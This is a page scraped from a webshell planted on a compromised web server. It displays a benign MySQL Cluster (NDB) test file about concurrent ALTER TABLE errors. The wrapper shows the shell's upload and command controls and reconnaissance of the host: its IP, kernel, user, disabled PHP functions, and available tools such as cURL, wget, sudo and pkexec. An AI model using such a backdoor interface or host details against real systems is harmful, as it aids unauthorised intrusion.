403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.69.165.58
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/t/ndb_alter_table_error.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

-- source include/not_embedded.inc
-- source include/have_multi_ndb.inc

--echo *******************************
--echo * basic concurent online alter test
--echo *******************************
--echo * With Commit
--echo *******************************

connection server1;

CREATE TABLE t1 (a INT UNSIGNED, 
                 b INT UNSIGNED not null, 
                 primary key(a)) ENGINE NDB;
let $v=100;
disable_query_log;
while ($v)
{
  --eval INSERT INTO t1 VALUES($v,$v); 
  dec $v;
}
enable_query_log;


connection server2;
begin;
update t1 set b = b + 1 where a = 1;

connection server1;
--error 1205
ALTER TABLE t1 algorithm=copy, ADD c CHAR(19);

connection server2;
commit;

connection server1;
--error 0
ALTER TABLE t1 algorithm=copy, ADD c CHAR(19);

connection server1;
--error 1169
create unique index b_unq on t1(b) using hash;

update t1 set b = b - 1 where a = 1;

connection server1;
create unique index b_unq on t1(b) using hash;

DROP TABLE t1;

Youez - 2016 - github.com/yon3zu
LinuXploit